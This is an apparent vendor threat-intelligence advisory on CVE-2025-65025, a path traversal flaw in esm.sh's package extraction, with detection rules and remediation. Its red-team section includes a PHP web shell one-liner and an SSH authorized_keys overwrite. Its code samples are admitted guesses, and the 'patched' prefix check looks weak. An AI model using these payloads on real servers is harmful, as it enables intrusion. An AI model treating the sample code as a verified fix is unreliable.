CVE-2025-65025
Executive Summary
CVE-2025-65025 is a critical path traversal vulnerability in the esm.sh content delivery network (CDN) service, affecting all versions prior to 136. The vulnerability allows an attacker to craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This can lead to arbitrary file write, potentially enabling remote code execution or server compromise. The vulnerability has been patched in version 136.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability directly impacts the NPM ecosystem. esm.sh is a CDN that serves NPM packages for modern web development. An attacker can publish a malicious NPM package to the public registry, and when esm.sh processes it, the path traversal occurs. This represents a significant supply chain risk, as any application using esm.sh to serve NPM packages could be affected. The attack vector is through the NPM package tarball extraction process, making it a classic supply chain attack.
CVSS Breakdown & Threat Level
CVSS Score: 8.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None (N) - No authentication is needed to exploit.
- User Interaction (UI): None (N) - No user action is required.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) - No direct impact on data confidentiality.
- Integrity (I): High (H) - Arbitrary file write can modify server files.
- Availability (A): High (H) - Arbitrary file write can lead to denial of service or server compromise.
Threat Level: High. The vulnerability is easy to exploit, requires no privileges, and can lead to severe consequences including server takeover.
Deep Dive & Mechanics
The vulnerability resides in the tarball extraction logic of esm.sh. When a user requests an NPM package, esm.sh downloads the package tarball from the NPM registry and extracts it to a temporary directory. The extraction process does not properly sanitize file paths within the tarball.
A malicious NPM package can contain files with paths like package/../../tmp/evil.js. During extraction, the path traversal sequences (../) are not stripped or validated, allowing the file to be written outside the intended extraction directory. For example, if the extraction base directory is /tmp/esm-cache/package-name/, the path package/../../tmp/evil.js resolves to /tmp/evil.js.
This can be exploited to:
- Overwrite critical system files (e.g.,
/etc/passwd,/etc/shadow). - Write a web shell to the web server's document root.
- Modify application configuration files.
- Create cron jobs or startup scripts for persistence.
The attack flow:
- Attacker publishes a malicious NPM package with path traversal file paths.
- A user or automated process requests the package via esm.sh.
- esm.sh downloads and extracts the tarball.
- The path traversal causes files to be written to arbitrary locations.
- Attacker achieves arbitrary file write, potentially leading to RCE.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-136):
The vulnerable code likely uses a standard tarball extraction library (e.g., tar or node-tar) without sanitizing file paths. A simplified example:
// Vulnerable extraction logic
const tar = require('tar');
const path = require('path');
function extractPackage(tarballPath, extractDir) {
tar.extract({
file: tarballPath,
cwd: extractDir,
// No path sanitization
});
}
Patched Code (Version 136): The patched code adds path validation to prevent traversal. A simplified example:
// Patched extraction logic
const tar = require('tar');
const path = require('path');
const fs = require('fs');
function extractPackage(tarballPath, extractDir) {
tar.extract({
file: tarballPath,
cwd: extractDir,
filter: (filePath) => {
// Resolve the absolute path and check it's within extractDir
const resolvedPath = path.resolve(extractDir, filePath);
return resolvedPath.startsWith(extractDir);
}
});
}
The key difference is the addition of a filter function that resolves the file path and ensures it stays within the intended extraction directory.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Set up a local instance of esm.sh (vulnerable version < 136) using Docker or direct installation.
- Create a malicious NPM package with path traversal.
Steps:
- Create a malicious NPM package:
mkdir malicious-pkg cd malicious-pkg npm init -y # Create a file with path traversal mkdir -p package echo "console.log('pwned')" > "package/../../tmp/evil.js" # Create tarball tar -czf malicious-pkg.tar.gz package - Publish the package to a local NPM registry or directly place the tarball where esm.sh can access it.
- Request the package via esm.sh:
http://localhost:8080/malicious-pkg - Verify the file was written to
/tmp/evil.js:cat /tmp/evil.js
Advanced Exploitation:
- Write a web shell to the web root:
echo '<?php system($_GET["cmd"]); ?>' > "package/../../var/www/html/shell.php" - Overwrite SSH authorized_keys:
echo "ssh-rsa AAAAB3NzaC1yc2E..." > "package/../../root/.ssh/authorized_keys"
Blue Team (Defensive)
Detection:
- Monitor file system events for unexpected writes outside the extraction directory.
- Use auditd to track file writes:
auditctl -w /tmp -p wa -k esm-traversal - Monitor NPM package requests for suspicious package names or metadata.
Prevention:
- Update esm.sh to version 136 or later.
- Implement strict input validation for all file paths during extraction.
- Use sandboxing or containerization to isolate the extraction process.
- Apply the principle of least privilege to the extraction process.
Hunting:
- Search for files created outside the expected extraction directories.
- Look for NPM packages with unusual file paths in their tarballs.
- Check for unexpected cron jobs, SSH keys, or web shells.
Indicators of Compromise (IOCs)
File System IOCs:
- Unexpected files in
/tmp,/var/www/html,/etc,/root/.ssh, etc. - Files with names like
evil.js,shell.php,backdoor.sh.
Network IOCs:
- Requests to esm.sh for suspicious NPM packages.
- Outbound connections from the esm.sh server to unknown IPs (if RCE achieved).
Log IOCs:
- Audit logs showing file writes outside the extraction directory.
- Application logs showing path traversal errors or warnings.
NPM Package IOCs:
- Packages with file paths containing
../or..\\. - Packages with unusually large file sizes or many files.
Detection Engineering
YARA Rule
rule CVE_2025_65025_Path_Traversal {
meta:
description = "Detects path traversal patterns in NPM package tarballs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65025"
severity = "high"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e%5c"
condition:
any of ($traversal*)
}
Sigma Rule
title: CVE-2025-65025 Path Traversal in esm.sh
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file writes outside the expected extraction directory by esm.sh
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-65025
logsource:
category: file_event
product: linux
detection:
selection:
Image|endswith: '/node'
TargetFilename|startswith: '/tmp/esm-cache/'
TargetFilename|contains: '../'
condition: selection
falsepositives:
- Legitimate packages with unusual paths (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65025 Path Traversal in esm.sh"; flow:to_server; content:"/esm/"; http_uri; content:"../"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update esm.sh to version 136 or later.
- If immediate update is not possible, implement a WAF rule to block requests containing
../in the URI. - Restrict file system permissions for the esm.sh process to prevent writes to sensitive directories.
Long-term Fixes:
- Apply the patch provided in version 136.
- Implement additional input validation and sanitization for all file paths.
- Use a sandboxed environment (e.g., Docker container with read-only root filesystem) for package extraction.
- Regularly audit NPM packages for malicious content.
Compromise Assessment:
- Check for unexpected files in
/tmp,/var/www/html,/etc,/root/.ssh. - Review audit logs for file writes outside the extraction directory.
- Scan for web shells or backdoors.
- Rotate all credentials and SSH keys.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For questions or further analysis, contact intelligence@valters.it.